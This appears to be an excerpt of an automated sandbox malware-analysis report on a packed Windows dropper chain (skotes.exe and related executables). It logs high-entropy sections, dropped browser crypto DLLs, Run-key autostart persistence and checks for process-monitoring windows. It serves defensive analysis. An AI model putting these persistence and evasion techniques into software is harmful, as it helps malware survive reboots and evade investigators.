Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.dc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aokahsxj:EW;zuglusup:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aokahsxj:EW;zuglusup:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.dc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aokahsxj:EW;zuglusup:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;aokahsxj:EW;zuglusup:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Unpacked PE file: 7.2.5468191780.exe.dc0000.0.unpack W{2/c:EW;.text:ER;.rsrc:R;.reloc:R;Unknown_Section4:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:R;Unknown_Section4:ER;
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Unpacked PE file: 14.2.f5d46eacf9.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jvnpwyzl:EW;ubzpnpef:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jvnpwyzl:EW;ubzpnpef:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Unpacked PE file: 15.2.a0a3a50765.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lfcefhqr:EW;phkznexg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lfcefhqr:EW;phkznexg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Unpacked PE file: 38.2.796ccdd7ba.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W;idwitinv:EW;mjfbzujg:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Unpacked PE file: 53.2.796ccdd7ba.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W;idwitinv:EW;mjfbzujg:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 5468191780[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xa92e6
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1c4f50 should be: 0x1cf5bf
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2b3856 should be: 0x2b4fea
Source: random[3].exe.15.dr	Static PE information: real checksum: 0x1e9274 should be: 0x1eb817
Source: gdi32.dll.7.dr	Static PE information: real checksum: 0x0 should be: 0x6dc55
Source: a0a3a50765.exe.6.dr	Static PE information: real checksum: 0x1b4812 should be: 0x1c1ada
Source: 5468191780.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xa92e6
Source: 2096827834.exe.6.dr	Static PE information: real checksum: 0x42c664 should be: 0x42d8c0
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1e9274 should be: 0x1eb817
Source: f5d46eacf9.exe.6.dr	Static PE information: real checksum: 0x1c4f50 should be: 0x1cf5bf
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1b4812 should be: 0x1c1ada
Source: 796ccdd7ba.exe.6.dr	Static PE information: real checksum: 0x2b3856 should be: 0x2b4fea
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: real checksum: 0x1e9274 should be: 0x1eb817
Source: file.exe	Static PE information: real checksum: 0x1e9274 should be: 0x1eb817
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x42c664 should be: 0x42d8c0

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: aokahsxj
Source: file.exe	Static PE information: section name: zuglusup
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: aokahsxj
Source: skotes.exe.0.dr	Static PE information: section name: zuglusup
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: 5468191780[1].exe.6.dr	Static PE information: section name: W{2/c
Source: 5468191780[1].exe.6.dr	Static PE information: section name:
Source: 5468191780.exe.6.dr	Static PE information: section name: W{2/c
Source: 5468191780.exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: jvnpwyzl
Source: random[1].exe.6.dr	Static PE information: section name: ubzpnpef
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: f5d46eacf9.exe.6.dr	Static PE information: section name:
Source: f5d46eacf9.exe.6.dr	Static PE information: section name: .idata
Source: f5d46eacf9.exe.6.dr	Static PE information: section name:
Source: f5d46eacf9.exe.6.dr	Static PE information: section name: jvnpwyzl
Source: f5d46eacf9.exe.6.dr	Static PE information: section name: ubzpnpef
Source: f5d46eacf9.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: lfcefhqr
Source: random[1].exe0.6.dr	Static PE information: section name: phkznexg
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: a0a3a50765.exe.6.dr	Static PE information: section name:
Source: a0a3a50765.exe.6.dr	Static PE information: section name: .idata
Source: a0a3a50765.exe.6.dr	Static PE information: section name:
Source: a0a3a50765.exe.6.dr	Static PE information: section name: lfcefhqr
Source: a0a3a50765.exe.6.dr	Static PE information: section name: phkznexg
Source: a0a3a50765.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: idwitinv
Source: random[1].exe2.6.dr	Static PE information: section name: mjfbzujg
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 796ccdd7ba.exe.6.dr	Static PE information: section name:
Source: 796ccdd7ba.exe.6.dr	Static PE information: section name: .idata
Source: 796ccdd7ba.exe.6.dr	Static PE information: section name: idwitinv
Source: 796ccdd7ba.exe.6.dr	Static PE information: section name: mjfbzujg
Source: 796ccdd7ba.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: ivdotsri
Source: random[2].exe.6.dr	Static PE information: section name: cxbxaeve
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 2096827834.exe.6.dr	Static PE information: section name:
Source: 2096827834.exe.6.dr	Static PE information: section name: .rsrc
Source: 2096827834.exe.6.dr	Static PE information: section name: .idata
Source: 2096827834.exe.6.dr	Static PE information: section name:
Source: 2096827834.exe.6.dr	Static PE information: section name: ivdotsri
Source: 2096827834.exe.6.dr	Static PE information: section name: cxbxaeve
Source: 2096827834.exe.6.dr	Static PE information: section name: .taggant
Source: msvcp140.dll.15.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.15.dr	Static PE information: section name: .didat
Source: nss3.dll.15.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.15.dr	Static PE information: section name: .00cfg
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name:
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name: .idata
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name:
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name: aokahsxj
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name: zuglusup
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name: .taggant
Source: random[3].exe.15.dr	Static PE information: section name:
Source: random[3].exe.15.dr	Static PE information: section name: .idata
Source: random[3].exe.15.dr	Static PE information: section name:
Source: random[3].exe.15.dr	Static PE information: section name: aokahsxj
Source: random[3].exe.15.dr	Static PE information: section name: zuglusup
Source: random[3].exe.15.dr	Static PE information: section name: .taggant
Source: softokn3.dll.15.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.15.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.15.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.15.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.15.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.15.dr	Static PE information: section name: .00cfg
Source: gmpopenh264.dll.tmp.51.dr	Static PE information: section name: .rodata

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DC264D push ebx; retf	7_2_00DC2651
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DC564D push ds; retf	7_2_00DC56BA
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DC5468 push B7E5E5E6h; ret	7_2_00DC54CF
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DC57C2 pushad ; retf	7_2_00DC5887
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_00DC27A3 push ss; iretd	7_2_00DC27AA
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 7_2_015A1E28 push esp; retf	7_2_015A1E29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2297 push ecx; retf	9_3_02AE229D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2297 push ecx; retf	9_3_02AE229D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE440E push ds; retf	9_3_02AE441A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE440E push ds; retf	9_3_02AE441A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE356F pushad ; ret	9_3_02AE357C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE356F pushad ; ret	9_3_02AE357C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2B4B push ds; iretd	9_3_02AE2B4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2B4B push ds; iretd	9_3_02AE2B4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2297 push ecx; retf	9_3_02AE229D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2297 push ecx; retf	9_3_02AE229D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE440E push ds; retf	9_3_02AE441A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE440E push ds; retf	9_3_02AE441A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE356F pushad ; ret	9_3_02AE357C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE356F pushad ; ret	9_3_02AE357C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2B4B push ds; iretd	9_3_02AE2B4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2B4B push ds; iretd	9_3_02AE2B4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2297 push ecx; retf	9_3_02AE229D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2297 push ecx; retf	9_3_02AE229D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE440E push ds; retf	9_3_02AE441A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE440E push ds; retf	9_3_02AE441A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE356F pushad ; ret	9_3_02AE357C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE356F pushad ; ret	9_3_02AE357C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2B4B push ds; iretd	9_3_02AE2B4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2B4B push ds; iretd	9_3_02AE2B4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 9_3_02AE2297 push ecx; retf	9_3_02AE229D

Source: file.exe	Static PE information: section name: entropy: 7.979490092282714
Source: file.exe	Static PE information: section name: aokahsxj entropy: 7.953945599096896
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.979490092282714
Source: skotes.exe.0.dr	Static PE information: section name: aokahsxj entropy: 7.953945599096896
Source: 5468191780[1].exe.6.dr	Static PE information: section name: W{2/c entropy: 7.999654523046763
Source: 5468191780.exe.6.dr	Static PE information: section name: W{2/c entropy: 7.999654523046763
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.978865127343408
Source: random[1].exe.6.dr	Static PE information: section name: jvnpwyzl entropy: 7.954011898196479
Source: f5d46eacf9.exe.6.dr	Static PE information: section name: entropy: 7.978865127343408
Source: f5d46eacf9.exe.6.dr	Static PE information: section name: jvnpwyzl entropy: 7.954011898196479
Source: random[1].exe0.6.dr	Static PE information: section name: lfcefhqr entropy: 7.955184799443045
Source: a0a3a50765.exe.6.dr	Static PE information: section name: lfcefhqr entropy: 7.955184799443045
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.804898343067434
Source: 796ccdd7ba.exe.6.dr	Static PE information: section name: entropy: 7.804898343067434
Source: random[2].exe.6.dr	Static PE information: section name: ivdotsri entropy: 7.955785869140862
Source: 2096827834.exe.6.dr	Static PE information: section name: ivdotsri entropy: 7.955785869140862
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name: entropy: 7.979490092282714
Source: DocumentsGIECFIEGDB.exe.15.dr	Static PE information: section name: aokahsxj entropy: 7.953945599096896
Source: random[3].exe.15.dr	Static PE information: section name: entropy: 7.979490092282714
Source: random[3].exe.15.dr	Static PE information: section name: aokahsxj entropy: 7.953945599096896

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

File created: C:\Users\user\DocumentsGIECFIEGDB.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5468191780[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	File created: C:\Users\user\AppData\Roaming\gdi32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\Users\user\DocumentsGIECFIEGDB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

File created: C:\Users\user\DocumentsGIECFIEGDB.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a0a3a50765.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9777a59422.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 796ccdd7ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f5d46eacf9.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

File created: C:\Users\user\DocumentsGIECFIEGDB.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Window searched: window name: Regmonclass
